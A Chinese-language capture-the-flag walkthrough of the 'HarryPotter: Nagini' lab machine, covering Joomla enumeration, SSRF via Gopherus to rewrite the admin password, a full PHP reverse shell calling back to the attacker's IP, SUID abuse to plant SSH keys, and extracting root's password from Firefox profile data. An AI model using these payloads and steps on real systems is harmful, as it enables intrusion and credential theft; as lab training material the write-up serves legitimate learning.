HARRYPOTTER: NAGINI

攻击机

192.168.223.128

目标机

192.168.223.145

主机发现

nmap -sP 192.168.223.0/24

端口扫描

nmap -sV -p- -A 192.168.223.145

开启了22 80端口

先看一下web界面

跟系列1一样是一张图片

看一下源码

没东西

看一下robots.txt

也没东西

再扫一下目录吧

gobuster dir -u http://192.168.223.145 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt

可见是个joomla的cms

是一个user登录界面,先放下,用joomla的扫描工具扫一下网站

joomscan --url http://192.168.223.145/joomla

有一个备份文件,打开发现是配置文件,里面有个数据用户名为goblin的,密码为空。

再看一下note.txt有什么提示

Hello developers!!


I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.


Regards,
site_amdin

告诉我们使用http3访问。

尝试搭建了http3服务,有点难办,老是报错,看了一眼别人的wp,用http3-client访问url可以得到一个目录internalResourceFeTcher.php

打开发现是

是获取网站内部资源的东西,明摆的SSRF

使用gopherus来利用ssrf,gopherus可以用来攻击mysql和fastcgi,刚好前面得到了一个数据库用户名

查库

git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit mysql 
goblin
show databases;

多提交几次才行

查表

git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit mysql 
goblin
use joomla;show tables;

表明连一起有点难看清,里面有个joomla_users应该是包含用户信息的。

看字段

 

用户名site_admin,密码是什么不重要,我们可以update一下

把密码更新成123456

用site_admin 123456登录一下后台,发现登了上去

在extension-templates里面随便找一个,然后创建一个新的php文件,用来反弹shell

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.223.128';  
$port = 4567;  
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }
        if ($pid) {
                exit(0);  // Parent exits
        }
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}
?> 

访问,拿到shell

http://192.168.223.145/joomla/templates/protostar/shell.php

切换到交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

home下有两个用户

第一个用户目录有第二个flag,但是权限不够,先不看,第一个flag应该在另一个用户下

snape用户下有个隐藏的txt文件,里面是个base64字符串,解码得到Love@lilly

Love@lilly应该是个什么密码

注意到snape用户目录下有ssh指令,猜测是ssh登录密码

成功登录

翻了一下,在html文件发现第一个flag

现在来想办法拿第一个flag

发现bin目录下有个指令su_cp具有suid权限,执行的时候会以hermoine的权限执行,而不是www-date

看一下使用说明

总的来说是一个以hermoine权限的复制功能,如果我自己生成一个ssh公钥复制到用户的.ssh目录,就可以利用公钥登录hermoine的ssh 了

先生成一个ssh公钥,我用的密码的123456

利用scp传到snape用户上

然后改名传到hermoine用户下

mv id_rsa.pub authorized_keys //公钥规定名
chmod 640 authorized_keys      //赋权,777试过了不行,640才行
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh

用123456连接一下hermoine的ssh,登录成功

直接拿到第二个flag

下面开始root提权

看一下hermoine的文件

发现里面有个mozilla文件,这个好像是火狐的公司

打开里面都是关于火狐浏览器的东西,里面应该有关于用户的信息

将mozilla传到kali攻击机上便于分析里面内容,还是用scp传一下

scp -rp hermoine@192.168.223.145:/home/hermoine/.mozilla /root

安装firefox_decrypt工具分析

git clone https://github.com/unode/firefox_decrypt.git

使用工具

cd firefox_decrypt
python3 firefox_decrypt.py /root/.mozilla/firefox

拿到root账号密码

@Alohomora#123

su到root一下

拿到最后的flag,累死俺了。

总结:

1.目录扫描,得知joomlacms框架,用joomscan扫描得到备份文件,读取数据库账号

2.http3服务读取隐藏内容,得到internalResourceFeTcher.php目录,利用gopher协议进行ssrf,读取数据库,得到用户名,并修改用户密码

3.登录后台,在模板界面创建反弹shell 的php文件,拿到www-data权限

4.在snape用户得到ssh登录密钥,连接snape拿到第一个flag

5.在hermoine找到sp_cp命令,suid复制文件,自己生成一个ssh公钥,利用scp上传,利用sp_cp指令复制到hermoine的.ssh目录下,即可登录

6.连接hermoine的ssh读取到一个.mozilla的目录,利用工具firefox_decrypt分析firefox文件得到root的密码,拿到root权限

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tao0845

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值